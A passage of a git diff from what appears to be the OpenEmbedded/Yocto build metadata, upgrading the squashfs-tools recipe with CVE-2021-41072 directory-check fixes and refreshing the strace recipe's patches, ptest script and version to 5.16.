++ int i;
++ struct dir_ent *ent;
++
++ if(dir->dir_count < 2)
++ return TRUE;
++
++ for(ent = dir->dirs, i = 0; i < dir->dir_count - 1; ent = ent->next, i++)
++ if(strcmp(ent->name, ent->next->name) >= 0)
++ return FALSE;
++
++ return TRUE;
++}
+diff --git a/squashfs-tools/unsquash-2.c b/squashfs-tools/unsquash-2.c
+index 956f96f..0e36f7d 100644
+--- a/squashfs-tools/unsquash-2.c
++++ b/squashfs-tools/unsquash-2.c
+@@ -29,6 +29,7 @@
+ static squashfs_fragment_entry_2 *fragment_table;
+ static unsigned int *uid_table, *guid_table;
+ static squashfs_operations ops;
++static int needs_sorting = FALSE;
+
+
+ static void read_block_list(unsigned int *block_list, long long start,
+@@ -463,6 +464,17 @@ static struct dir *squashfs_opendir(unsigned int block_start, unsigned int offse
+ }
+ }
+
++ if(needs_sorting)
++ sort_directory(dir);
++
++ /* check directory for duplicate names and sorting */
++ if(check_directory(dir) == FALSE) {
++ if(needs_sorting)
++ ERROR("File system corrupted: directory has duplicate names\n");
++ else
++ ERROR("File system corrupted: directory has duplicate names or is unsorted\n");
++ goto corrupted;
++ }
+ return dir;
+
+ corrupted:
+@@ -596,6 +608,10 @@ int read_super_2(squashfs_operations **s_ops, void *s)
+ * 2.x filesystems use gzip compression.
+ */
+ comp = lookup_compressor("gzip");
++
++ if(sBlk_3->s_minor == 0)
++ needs_sorting = TRUE;
++
+ return TRUE;
+ }
+
+diff --git a/squashfs-tools/unsquash-3.c b/squashfs-tools/unsquash-3.c
+index 835a574..0123562 100644
+--- a/squashfs-tools/unsquash-3.c
++++ b/squashfs-tools/unsquash-3.c
+@@ -497,6 +497,12 @@ static struct dir *squashfs_opendir(unsigned int block_start, unsigned int offse
+ }
+ }
+
++ /* check directory for duplicate names and sorting */
++ if(check_directory(dir) == FALSE) {
++ ERROR("File system corrupted: directory has duplicate names or is unsorted\n");
++ goto corrupted;
++ }
++
+ return dir;
+
+ corrupted:
+diff --git a/squashfs-tools/unsquash-4.c b/squashfs-tools/unsquash-4.c
+index 694783d..c615bb8 100644
+--- a/squashfs-tools/unsquash-4.c
++++ b/squashfs-tools/unsquash-4.c
+@@ -434,6 +434,12 @@ static struct dir *squashfs_opendir(unsigned int block_start, unsigned int offse
+ }
+ }
+
++ /* check directory for duplicate names and sorting */
++ if(check_directory(dir) == FALSE) {
++ ERROR("File system corrupted: directory has duplicate names or is unsorted\n");
++ goto corrupted;
++ }
++
+ return dir;
+
+ corrupted:
+diff --git a/squashfs-tools/unsquashfs.h b/squashfs-tools/unsquashfs.h
+index f8cf78c..bf2a80d 100644
+--- a/squashfs-tools/unsquashfs.h
++++ b/squashfs-tools/unsquashfs.h
+@@ -293,4 +293,8 @@ extern long long *alloc_index_table(int);
+ /* unsquash-1234.c */
+ extern int check_name(char *, int);
+ extern void squashfs_closedir(struct dir *);
++extern int check_directory(struct dir *);
++
++/* unsquash-12.c */
++extern void sort_directory(struct dir *);
+ #endif
+--
+2.17.1
+
diff --git a/meta/recipes-devtools/squashfs-tools/squashfs-tools_git.bb b/meta/recipes-devtools/squashfs-tools/squashfs-tools_git.bb
index 4fd33f8048..bffc05e812 100644
--- a/meta/recipes-devtools/squashfs-tools/squashfs-tools_git.bb
+++ b/meta/recipes-devtools/squashfs-tools/squashfs-tools_git.bb
@@ -1,23 +1,27 @@
# Note, we can probably remove the lzma option as it has be replaced with xz,
# and I don't think the kernel supports it any more.
SUMMARY = "Tools for manipulating SquashFS filesystems"
+HOMEPAGE = "https://github.com/plougher/squashfs-tools"
+DESCRIPTION = "Tools to create and extract Squashfs filesystems."
SECTION = "base"
-LICENSE = "GPL-2"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://../COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
-PV = "4.4"
-SRCREV = "52eb4c279cd283ed9802dd1ceb686560b22ffb67"
-SRC_URI = "git://github.com/plougher/squashfs-tools.git;protocol=https \
-"
+PV = "4.5"
+SRCREV = "0496d7c3de3e09da37ba492081c86159806ebb07"
+SRC_URI = "git://github.com/plougher/squashfs-tools.git;protocol=https;branch=master \
+ file://0001-Avoid-use-of-INSTALL_DIR-for-symlink-targets.patch \
+ file://CVE-2021-41072-requisite-1.patch;striplevel=2 \
+ file://CVE-2021-41072-requisite-2.patch;striplevel=2 \
+ file://CVE-2021-41072-requisite-3.patch;striplevel=2 \
+ file://CVE-2021-41072.patch;striplevel=2 \
+ "
S = "${WORKDIR}/git/squashfs-tools"
-# needs FNM_EXTMATCH
-COMPATIBLE_HOST_libc-musl = 'null'
-
EXTRA_OEMAKE = "${PACKAGECONFIG_CONFARGS}"
-PACKAGECONFIG ??= "gzip xz lzo lz4 lzma xattr reproducible"
+PACKAGECONFIG ??= "gzip xz lzo lz4 lzma xattr zstd reproducible"
PACKAGECONFIG[gzip] = "GZIP_SUPPORT=1,GZIP_SUPPORT=0,zlib"
PACKAGECONFIG[xz] = "XZ_SUPPORT=1,XZ_SUPPORT=0,xz"
PACKAGECONFIG[lzo] = "LZO_SUPPORT=1,LZO_SUPPORT=0,lzo"
@@ -32,12 +36,14 @@ do_compile() {
}
do_install() {
+ install -d "${D}${includedir}"
oe_runmake install INSTALL_DIR=${D}${sbindir}
+ install -m 0644 "${S}"/squashfs_fs.h "${D}${includedir}"
}
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
-ARM_INSTRUCTION_SET_armv6 = "arm"
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
+ARM_INSTRUCTION_SET:armv6 = "arm"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/strace/strace/0001-caps-abbrev.awk-fix-gawk-s-path.patch b/meta/recipes-devtools/strace/strace/0001-caps-abbrev.awk-fix-gawk-s-path.patch
index 52d2cdcdc5..235e803641 100644
--- a/meta/recipes-devtools/strace/strace/0001-caps-abbrev.awk-fix-gawk-s-path.patch
+++ b/meta/recipes-devtools/strace/strace/0001-caps-abbrev.awk-fix-gawk-s-path.patch
@@ -1,4 +1,4 @@
-From d225aaa8841f47ba8aa7b353b0ac3028d5913efe Mon Sep 17 00:00:00 2001
+From 597cc206d982e7237eb93fdc33e8c4bb6bb2d796 Mon Sep 17 00:00:00 2001
From: Robert Yang <liezhi.yang@windriver.com>
Date: Thu, 9 Feb 2017 01:27:49 -0800
Subject: [PATCH] caps-abbrev.awk: fix gawk's path
diff --git a/meta/recipes-devtools/strace/strace/0001-strace-fix-reproducibilty-issues.patch b/meta/recipes-devtools/strace/strace/0001-strace-fix-reproducibilty-issues.patch
new file mode 100644
index 0000000000..c4c176e6bc
--- /dev/null
+++ b/meta/recipes-devtools/strace/strace/0001-strace-fix-reproducibilty-issues.patch
@@ -0,0 +1,39 @@
+From 6309792c49ca900cec6a7f1dc5b51bf75b629e11 Mon Sep 17 00:00:00 2001
+From: Jeremy Puhlman <jpuhlman@mvista.com>
+Date: Wed, 11 Mar 2020 19:56:55 +0000
+Subject: [PATCH] strace: fix reproducibilty issues
+
+The full path to the gen_tests.sh script is encoded in the tests
+
+Upstream-Status: Pending
+
+Signed-off-by: Jeremy Puhlman <jpuhlman@mvista.com>
+---
+ tests/gen_tests.sh | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/tests/gen_tests.sh b/tests/gen_tests.sh
+index 5e1e7c9..1e65eac 100755
+--- a/tests/gen_tests.sh
++++ b/tests/gen_tests.sh
+@@ -46,7 +46,7 @@ while read -r name arg0 args; do {
+
+ hdr="\
+ #!/bin/sh -efu
+-# Generated by $0 from $input ($name $arg0 $args); do not edit."
++# Generated by $(basename $0) from $input ($name $arg0 $args); do not edit."
+
+ case "$arg0" in
+ +*)
+@@ -80,7 +80,7 @@ while read -r name arg0 args; do {
+
+ if [ -n "$names" ]; then
+ {
+- printf '# Generated by %s from %s; do not edit.\n' "$0" "$input"
++ printf '# Generated by %s from %s; do not edit.\n' "$(basename $0)" "$input"
+ printf 'GEN_TESTS ='
+ printf ' %s.gen.test' $names
+ echo
+--
+2.24.1
+
diff --git a/meta/recipes-devtools/strace/strace/0001-tests-sigaction-Check-for-mips-and-alpha-before-usin.patch b/meta/recipes-devtools/strace/strace/0001-tests-sigaction-Check-for-mips-and-alpha-before-usin.patch
deleted file mode 100644
index 95d85bf34a..0000000000
--- a/meta/recipes-devtools/strace/strace/0001-tests-sigaction-Check-for-mips-and-alpha-before-usin.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From 879ae71c472ce522f1b3514d2abf6ad49b4acc07 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 18 Sep 2017 22:51:32 -0700
-Subject: [PATCH] tests/sigaction: Check for mips and alpha before using
- sa_restorer
-
-local structure does not define restorer member for mips and alpha
-in definition, we need to match that assumption here where they are
-being set
-
-Fixes
-| ../../strace-4.18/tests/sigaction.c:177:36: error: 'struct_set_sa {aka struct set_sa}' has no member named 'restorer'
-| # define SA_RESTORER_ARGS , new_act->restorer
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
----
- tests/sigaction.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
---- a/tests/sigaction.c
-+++ b/tests/sigaction.c
-@@ -156,7 +156,7 @@ main(void)
- sigdelset(mask.libc, SIGHUP);
-
- memcpy(new_act->mask, mask.old, sizeof(mask.old));
--# ifdef SA_RESTORER
-+#if defined(SA_RESTORER) && !defined(MIPS) && !defined(ALPHA)
- new_act->flags = SA_RESTORER;
- new_act->restorer = (unsigned long) 0xdeadfacecafef00dULL;
- # define SA_RESTORER_FMT ", sa_flags=SA_RESTORER, sa_restorer=%#lx"
diff --git a/meta/recipes-devtools/strace/strace/Makefile-ptest.patch b/meta/recipes-devtools/strace/strace/Makefile-ptest.patch
index 08fa5c53b8..9af7737662 100644
--- a/meta/recipes-devtools/strace/strace/Makefile-ptest.patch
+++ b/meta/recipes-devtools/strace/strace/Makefile-ptest.patch
@@ -1,4 +1,4 @@
-From ef5040b4f15006a22ac63a3bacfceac36ffc2045 Mon Sep 17 00:00:00 2001
+From 1f50e0a09d828be8f5b1f28db9af0b12492a1553 Mon Sep 17 00:00:00 2001
From: Gabriel Barbu <gabriel.barbu@enea.com>
Date: Thu, 25 Jul 2013 15:28:33 +0200
Subject: [PATCH] strace: Add ptest
@@ -10,31 +10,32 @@ Signed-off-by: Chong Lu <Chong.Lu@windriver.com>
Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
---
- tests/Makefile.am | 19 +++++++++++++++++++
- 1 file changed, 19 insertions(+)
+ tests/Makefile.am | 20 ++++++++++++++++++++
+ 1 file changed, 20 insertions(+)
diff --git a/tests/Makefile.am b/tests/Makefile.am
-index 825c989..4623c48 100644
+index 55566ee..a7ae6f9 100644
--- a/tests/Makefile.am
+++ b/tests/Makefile.am
-@@ -14,6 +14,7 @@ SIZEOF_LONG = @SIZEOF_LONG@
+@@ -16,6 +16,7 @@ SIZEOF_LONG = @SIZEOF_LONG@
MPERS_NAME =
MPERS_CC_FLAGS =
ARCH_MFLAGS =
+TEST_SUITE_LOG = test-suite.log
AM_CFLAGS = $(WARN_CFLAGS)
- AM_CPPFLAGS = $(ARCH_MFLAGS) \
- -I$(builddir) \
-@@ -477,3 +478,21 @@ BUILT_SOURCES = ksysent.h
+ bundled_CPPFLAGS =
+ if USE_BUNDLED_HEADERS
+@@ -703,3 +704,22 @@ BUILT_SOURCES = ksysent.h
CLEANFILES = ksysent.h
- include ../scno.am
+ include ../src/scno.am
+
+buildtest-TESTS: $(check_PROGRAMS) $(TESTS)
+
+install-ptest:
-+ install $(BUILDDIR)/strace $(DESTDIR)
-+ install $(srcdir)/../strace-log-merge $(DESTDIR)
++ install -d $(DESTDIR)/src
++ install $(BUILDDIR)/src/strace $(DESTDIR)/src
++ install $(srcdir)/../src/strace-log-merge $(DESTDIR)/src
+ install -d $(DESTDIR)/$(TESTDIR)
+ cp $(BUILDDIR)/$(TESTDIR)/Makefile $(DESTDIR)/$(TESTDIR)
+ sed -i -e 's/^Makefile:/_Makefile:/' $(DESTDIR)/$(TESTDIR)/Makefile
@@ -44,6 +45,6 @@ index 825c989..4623c48 100644
+ done
+ for file in $(EXTRA_DIST); do \
+ install $(srcdir)/$$file $(DESTDIR)/$(TESTDIR); \
-+ sed -i -e 's/$${srcdir=.}/./g' $(DESTDIR)/$(TESTDIR)/$$file; \
++ #sed -i -e 's/$${srcdir=.}/./g' $(DESTDIR)/$(TESTDIR)/$$file; \
+ done
+ for i in net scm_rights-fd rt_sigaction; do sed -i -e 's/$$srcdir/./g' $(DESTDIR)/$(TESTDIR)/$$i.test; done
diff --git a/meta/recipes-devtools/strace/strace/disable-git-version-gen.patch b/meta/recipes-devtools/strace/strace/disable-git-version-gen.patch
deleted file mode 100644
index 5fefff33e9..0000000000
--- a/meta/recipes-devtools/strace/strace/disable-git-version-gen.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-From 3bc47502ab011ea8d7c9cd724b25174ecd9506bc Mon Sep 17 00:00:00 2001
-From: Andre McCurdy <armccurdy@gmail.com>
-Date: Mon, 18 Jan 2016 13:33:50 -0800
-Subject: [PATCH] strace: remove need for scripts
-
-git-version-gen copyright-year-gen file-date-gen are not included in
-tarball releases, so we need to avoid attempts to call them.
-
-Upstream-Status: Inappropriate [configuration]
-
-Signed-off-by: Andre McCurdy <armccurdy@gmail.com>
-Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
-
----
- configure.ac | 6 +++---
- 1 file changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index 949b058..4ba989c 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -12,12 +12,12 @@
-
- AC_PREREQ(2.57)
- AC_INIT([strace],
-- st_esyscmd_s([./git-version-gen .tarball-version]),
-+ m4_esyscmd_s([cat .tarball-version]),
- [strace-devel@lists.strace.io],
- [strace],
- [https://strace.io])
--m4_define([copyright_year], st_esyscmd_s([./copyright-year-gen .year]))
--m4_define([manpage_date], st_esyscmd_s([./file-date-gen strace.1.in]))
-+m4_define([copyright_year], m4_esyscmd_s([cat .year]))
-+m4_define([manpage_date], m4_esyscmd_s([cat .strace.1.in.date]))
- AC_COPYRIGHT([Copyright (c) 1999-]copyright_year[ The strace developers.])
- AC_CONFIG_SRCDIR([strace.c])
- AC_CONFIG_AUX_DIR([.])
diff --git a/meta/recipes-devtools/strace/strace/mips-SIGEMT.patch b/meta/recipes-devtools/strace/strace/mips-SIGEMT.patch
deleted file mode 100644
index 0d3192b345..0000000000
--- a/meta/recipes-devtools/strace/strace/mips-SIGEMT.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From 20c184a7ab3fb7be67fb7626c411e756ea61d2f5 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sun, 7 Aug 2016 23:47:57 -0700
-Subject: [PATCH] strace: Fix build with mips/mips64 on musl
-
-SIGEMT is not defined everywhere e.g musl does
-not define it. Therefore check it being defined
-before using it.
-
-Fixes errors e.g.
-../../strace-4.13/tests/signal2name.c:45:7: error: 'SIGEMT' undeclared (first use in this function)
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Pending
-
----
- tests/signal2name.c | 2 ++
- 1 file changed, 2 insertions(+)
-
-diff --git a/tests/signal2name.c b/tests/signal2name.c
-index 1d8e7c5..6722aa1 100644
---- a/tests/signal2name.c
-+++ b/tests/signal2name.c
-@@ -49,7 +49,9 @@ signal2name(int sig)
- CASE(SIGEMT);
- CASE(SIGLOST);
- #elif defined MIPS
-+#ifdef SIGEMT
- CASE(SIGEMT);
-+#endif
- CASE(SIGIOT);
- CASE(SIGPWR);
- #else
diff --git a/meta/recipes-devtools/strace/strace/more-robust-test-for-m32-mx32-compile-support.patch b/meta/recipes-devtools/strace/strace/more-robust-test-for-m32-mx32-compile-support.patch
deleted file mode 100644
index a9bd900da8..0000000000
--- a/meta/recipes-devtools/strace/strace/more-robust-test-for-m32-mx32-compile-support.patch
+++ /dev/null
@@ -1,45 +0,0 @@
-From cc97307e8e39a81999c6a365d057487a02e6128e Mon Sep 17 00:00:00 2001
-From: Andre McCurdy <armccurdy@gmail.com>
-Date: Mon, 18 Jan 2016 11:00:00 -0800
-Subject: [PATCH] mpers.m4: more robust test for -m32/-mx32 compile support
-
-When using the default OE toolchain for x86-64, the basic checks for
--m32 and -mx32 compile support in mpers.m4 pass but later attempts to
-actually use the toolchain with -m32 fail, e.g.
-
- | In file included from /home/andre/build/tmp/sysroots/qemux86-64/usr/include/sys/syscall.h:31:0,
- | from ../strace-4.11/defs.h:55,
- | from mpers-m32/kernel_dirent.c:32:
- | /home/andre/build/tmp/sysroots/qemux86-64/usr/include/bits/syscall.h:41:29: fatal error: bits/syscall-32.h: No such file or directory
-
-Make the mpers.m4 tests more robust so that configure correctly
-detects the limitations of the OE toolchain.
-
-Upstream-Status: Pending
-
-Signed-off-by: Andre McCurdy <armccurdy@gmail.com>
-
----
- m4/mpers.m4 | 2 ++
- 1 file changed, 2 insertions(+)
-
-diff --git a/m4/mpers.m4 b/m4/mpers.m4
-index 13725d7..d8578ea 100644
---- a/m4/mpers.m4
-+++ b/m4/mpers.m4
-@@ -88,6 +88,7 @@ case "$arch" in
- CFLAGS="$CFLAGS MPERS_CFLAGS $IFLAG"
- AC_CACHE_CHECK([for mpers_name personality compile support], [st_cv_cc],
- [AC_COMPILE_IFELSE([AC_LANG_SOURCE([[#include <stdint.h>
-+ #include <sys/syscall.h>
- int main(){return 0;}]])],
- [st_cv_cc=yes],
- [st_cv_cc=no])])
-@@ -95,6 +96,7 @@ case "$arch" in
- AC_CACHE_CHECK([for mpers_name personality runtime support],
- [st_cv_runtime],
- [AC_RUN_IFELSE([AC_LANG_SOURCE([[#include <stdint.h>
-+ #include <sys/syscall.h>
- int main(){return 0;}]])],
- [st_cv_runtime=yes],
- [st_cv_runtime=no],
diff --git a/meta/recipes-devtools/strace/strace/ptest-spacesave.patch b/meta/recipes-devtools/strace/strace/ptest-spacesave.patch
index 3e32cc388c..c5d8ff9207 100644
--- a/meta/recipes-devtools/strace/strace/ptest-spacesave.patch
+++ b/meta/recipes-devtools/strace/strace/ptest-spacesave.patch
@@ -1,3 +1,8 @@
+From 3fad4821d90cd264d1b94253b9cf4fdf5d4034b8 Mon Sep 17 00:00:00 2001
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Date: Wed, 29 May 2019 00:10:32 +0100
+Subject: [PATCH] strace: Tweak ptest disk space management
+
If the test is successful, remove the log and exp files. This stops strace
using around 600MB of disk space and running our ptest images out of space.
@@ -5,10 +10,14 @@ RP 2019/5/29
Upstream-Status: Inappropriate [specific to OE image space issues]
-Index: strace-4.26/tests/gen_tests.sh
-===================================================================
---- strace-4.26.orig/tests/gen_tests.sh
-+++ strace-4.26/tests/gen_tests.sh
+---
+ tests/gen_tests.sh | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/tests/gen_tests.sh b/tests/gen_tests.sh
+index 3540204..5e1e7c9 100755
+--- a/tests/gen_tests.sh
++++ b/tests/gen_tests.sh
@@ -62,6 +62,7 @@ while read -r name arg0 args; do {
$hdr
. "\${srcdir=.}/init.sh"
diff --git a/meta/recipes-devtools/strace/strace/run-ptest b/meta/recipes-devtools/strace/strace/run-ptest
index 2fed984e90..02bb91e07f 100755
--- a/meta/recipes-devtools/strace/strace/run-ptest
+++ b/meta/recipes-devtools/strace/strace/run-ptest
@@ -1,3 +1,15 @@
#!/bin/sh
-export TIMEOUT_DURATION=30
-make -B -C tests -k test-suite.log
+
+set -u
+
+export TIMEOUT_DURATION=240
+chown nobody tests
+chown nobody tests/*
+chown nobody ../ptest
+
+su nobody -c "make -B -C tests -k test-suite.log"
+res=$?
+if [ $res -ne 0 ]; then
+ cat tests/test-suite.log
+fi
+exit $res
diff --git a/meta/recipes-devtools/strace/strace/skip-load.patch b/meta/recipes-devtools/strace/strace/skip-load.patch
new file mode 100644
index 0000000000..fa3ddb8ddc
--- /dev/null
+++ b/meta/recipes-devtools/strace/strace/skip-load.patch
@@ -0,0 +1,55 @@
+Skip tests which are known to be unreliable under load, typically because they
+care about timing.
+
+Upstream-Status: Inappropriate
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+diff --git a/tests/clock_nanosleep.gen.test b/tests/clock_nanosleep.gen.test
+index 7a6025b..f0e6dbb 100755
+--- a/tests/clock_nanosleep.gen.test
++++ b/tests/clock_nanosleep.gen.test
+@@ -1,4 +1,5 @@
+ #!/bin/sh -efu
+ # Generated by ./tests/gen_tests.sh from ./tests/gen_tests.in (clock_nanosleep -e trace=clock_nanosleep,clock_gettime); do not edit.
+ . "${srcdir=.}/init.sh"
++skip_ "Test not reliable under load"
+ run_strace_match_diff -e trace=clock_nanosleep,clock_gettime
+diff --git a/tests/delay.test b/tests/delay.test
+index f74e27f..328087e 100755
+--- a/tests/delay.test
++++ b/tests/delay.test
+@@ -9,6 +9,8 @@
+
+ . "${srcdir=.}/init.sh"
+
++skip_ "Test not reliable under load"
++
+ while read -r denter dexit denter_us dexit_us; do
+ [ -n "$denter" ] || continue
+
+diff --git a/tests/strace-T.test b/tests/strace-T.test
+index adca3e8..d4acfe9 100755
+--- a/tests/strace-T.test
++++ b/tests/strace-T.test
+@@ -9,6 +9,8 @@
+
+ . "${srcdir=.}/init.sh"
+
++skip_ "Test not reliable under load"
++
+ T_opt="${1:--T}"
+
+ run_prog ../sleep 0
+diff --git a/tests/strace-r.test b/tests/strace-r.test
+index 8299737..c360344 100755
+--- a/tests/strace-r.test
++++ b/tests/strace-r.test
+@@ -9,6 +9,8 @@
+
+ . "${srcdir=.}/init.sh"
+
++skip_ "Test not reliable under load"
++
+ r_opt="${1:--r}"
+
+ run_prog ../sleep 0
diff --git a/meta/recipes-devtools/strace/strace/uintptr_t.patch b/meta/recipes-devtools/strace/strace/uintptr_t.patch
deleted file mode 100644
index 6d3dd6fb98..0000000000
--- a/meta/recipes-devtools/strace/strace/uintptr_t.patch
+++ /dev/null
@@ -1,17 +0,0 @@
-include stdint.h for getting uintptr_t definition
-
-fixes do_compile_ptest_base
-tests/fanotify_mark.c:191:23: error: 'uintptr_t' undeclared (first use in this function); did you mean 'intptr_t'?
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
---- a/tests/fanotify_mark.c
-+++ b/tests/fanotify_mark.c
-@@ -18,6 +18,7 @@
-
- # include <limits.h>
- # include <stdio.h>
-+# include <stdint.h>
- # include <unistd.h>
- # include <sys/fanotify.h>
-
diff --git a/meta/recipes-devtools/strace/strace/update-gawk-paths.patch b/meta/recipes-devtools/strace/strace/update-gawk-paths.patch
index 7077048c75..0c683496ae 100644
--- a/meta/recipes-devtools/strace/strace/update-gawk-paths.patch
+++ b/meta/recipes-devtools/strace/strace/update-gawk-paths.patch
@@ -1,4 +1,4 @@
-From f0d7ebf48441e0b090c3e6053b8c845d0a4a3b18 Mon Sep 17 00:00:00 2001
+From 4cd26cfaec255ec87f22abe886e0be89312a9671 Mon Sep 17 00:00:00 2001
From: Andre McCurdy <armccurdy@gmail.com>
Date: Mon, 18 Jan 2016 11:01:00 -0800
Subject: [PATCH] update gawk paths, /bin/gawk -> /usr/bin/gawk
@@ -13,7 +13,7 @@ Upstream-Status: Inappropriate [configuration]
Signed-off-by: Andre McCurdy <armccurdy@gmail.com>
---
- mpers.awk | 2 +-
+ src/mpers.awk | 2 +-
tests-m32/caps.awk | 2 +-
tests-m32/match.awk | 2 +-
tests-m32/rt_sigaction.awk | 2 +-
@@ -25,18 +25,18 @@ Signed-off-by: Andre McCurdy <armccurdy@gmail.com>
tests/rt_sigaction.awk | 2 +-
10 files changed, 10 insertions(+), 10 deletions(-)
-diff --git a/mpers.awk b/mpers.awk
-index 17f8f2b..d69dcd5 100644
---- a/mpers.awk
-+++ b/mpers.awk
+diff --git a/src/mpers.awk b/src/mpers.awk
+index 25a212f..b2ff53f 100644
+--- a/src/mpers.awk
++++ b/src/mpers.awk
@@ -1,4 +1,4 @@
-#!/bin/gawk
+#!/usr/bin/gawk
#
# Copyright (c) 2015 Elvira Khabirova <lineprinter0@gmail.com>
- # Copyright (c) 2015-2016 Dmitry V. Levin <ldv@altlinux.org>
+ # Copyright (c) 2015-2016 Dmitry V. Levin <ldv@strace.io>
diff --git a/tests-m32/caps.awk b/tests-m32/caps.awk
-index 941564a..0bcc3ff 100644
+index 69500ec..e5dfd87 100644
--- a/tests-m32/caps.awk
+++ b/tests-m32/caps.awk
@@ -1,4 +1,4 @@
@@ -46,27 +46,27 @@ index 941564a..0bcc3ff 100644
# This file is part of caps strace test.
#
diff --git a/tests-m32/match.awk b/tests-m32/match.awk
-index d91c518..ee5d908 100644
+index 1cde87c..df63f78 100644
--- a/tests-m32/match.awk
+++ b/tests-m32/match.awk
@@ -1,4 +1,4 @@
-#!/bin/gawk
+#!/usr/bin/gawk
#
- # Copyright (c) 2014-2018 Dmitry V. Levin <ldv@altlinux.org>
+ # Copyright (c) 2014-2021 Dmitry V. Levin <ldv@strace.io>
# All rights reserved.
diff --git a/tests-m32/rt_sigaction.awk b/tests-m32/rt_sigaction.awk
-index 81dd813..9cd9549 100644
+index dce78f5..573d9ea 100644
--- a/tests-m32/rt_sigaction.awk
+++ b/tests-m32/rt_sigaction.awk
@@ -1,4 +1,4 @@
-#!/bin/gawk
+#!/usr/bin/gawk
#
- # Copyright (c) 2014-2015 Dmitry V. Levin <ldv@altlinux.org>
+ # Copyright (c) 2014-2015 Dmitry V. Levin <ldv@strace.io>
# Copyright (c) 2016 Elvira Khabirova <lineprinter0@gmail.com>
diff --git a/tests-mx32/caps.awk b/tests-mx32/caps.awk
-index 941564a..0bcc3ff 100644
+index 69500ec..e5dfd87 100644
--- a/tests-mx32/caps.awk
+++ b/tests-mx32/caps.awk
@@ -1,4 +1,4 @@
@@ -76,27 +76,27 @@ index 941564a..0bcc3ff 100644
# This file is part of caps strace test.
#
diff --git a/tests-mx32/match.awk b/tests-mx32/match.awk
-index d91c518..ee5d908 100644
+index 1cde87c..df63f78 100644
--- a/tests-mx32/match.awk
+++ b/tests-mx32/match.awk
@@ -1,4 +1,4 @@
-#!/bin/gawk
+#!/usr/bin/gawk
#
- # Copyright (c) 2014-2018 Dmitry V. Levin <ldv@altlinux.org>
+ # Copyright (c) 2014-2021 Dmitry V. Levin <ldv@strace.io>
# All rights reserved.
diff --git a/tests-mx32/rt_sigaction.awk b/tests-mx32/rt_sigaction.awk
-index 81dd813..9cd9549 100644
+index dce78f5..573d9ea 100644
--- a/tests-mx32/rt_sigaction.awk
+++ b/tests-mx32/rt_sigaction.awk
@@ -1,4 +1,4 @@
-#!/bin/gawk
+#!/usr/bin/gawk
#
- # Copyright (c) 2014-2015 Dmitry V. Levin <ldv@altlinux.org>
+ # Copyright (c) 2014-2015 Dmitry V. Levin <ldv@strace.io>
# Copyright (c) 2016 Elvira Khabirova <lineprinter0@gmail.com>
diff --git a/tests/caps.awk b/tests/caps.awk
-index 941564a..0bcc3ff 100644
+index 69500ec..e5dfd87 100644
--- a/tests/caps.awk
+++ b/tests/caps.awk
@@ -1,4 +1,4 @@
@@ -106,22 +106,22 @@ index 941564a..0bcc3ff 100644
# This file is part of caps strace test.
#
diff --git a/tests/match.awk b/tests/match.awk
-index d91c518..ee5d908 100644
+index 1cde87c..df63f78 100644
--- a/tests/match.awk
+++ b/tests/match.awk
@@ -1,4 +1,4 @@
-#!/bin/gawk
+#!/usr/bin/gawk
#
- # Copyright (c) 2014-2018 Dmitry V. Levin <ldv@altlinux.org>
+ # Copyright (c) 2014-2021 Dmitry V. Levin <ldv@strace.io>
# All rights reserved.
diff --git a/tests/rt_sigaction.awk b/tests/rt_sigaction.awk
-index 81dd813..9cd9549 100644
+index dce78f5..573d9ea 100644
--- a/tests/rt_sigaction.awk
+++ b/tests/rt_sigaction.awk
@@ -1,4 +1,4 @@
-#!/bin/gawk
+#!/usr/bin/gawk
#
- # Copyright (c) 2014-2015 Dmitry V. Levin <ldv@altlinux.org>
+ # Copyright (c) 2014-2015 Dmitry V. Levin <ldv@strace.io>
# Copyright (c) 2016 Elvira Khabirova <lineprinter0@gmail.com>
diff --git a/meta/recipes-devtools/strace/strace_5.16.bb b/meta/recipes-devtools/strace/strace_5.16.bb
new file mode 100644
index 0000000000..4bde14f939
--- /dev/null
+++ b/meta/recipes-devtools/strace/strace_5.16.bb
@@ -0,0 +1,54 @@
+SUMMARY = "System call tracing tool"
+HOMEPAGE = "http://strace.io"
+DESCRIPTION = "strace is a diagnostic, debugging and instructional userspace utility for Linux. It is used to monitor and tamper with interactions between processes and the Linux kernel, which include system calls, signal deliveries, and changes of process state."
+SECTION = "console/utils"
+LICENSE = "LGPL-2.1-or-later & GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=59a33f0a3e6122d67c0b3befccbdaa6b"
+
+SRC_URI = "https://strace.io/files/${PV}/strace-${PV}.tar.xz \
+ file://update-gawk-paths.patch \
+ file://Makefile-ptest.patch \
+ file://run-ptest \
+ file://0001-caps-abbrev.awk-fix-gawk-s-path.patch \
+ file://ptest-spacesave.patch \
+ file://0001-strace-fix-reproducibilty-issues.patch \
+ file://skip-load.patch \
+ "
+SRC_URI[sha256sum] = "dc7db230ff3e57c249830ba94acab2b862da1fcaac55417e9b85041a833ca285"
+
+inherit autotools ptest
+
+PACKAGECONFIG:class-target ??= "\
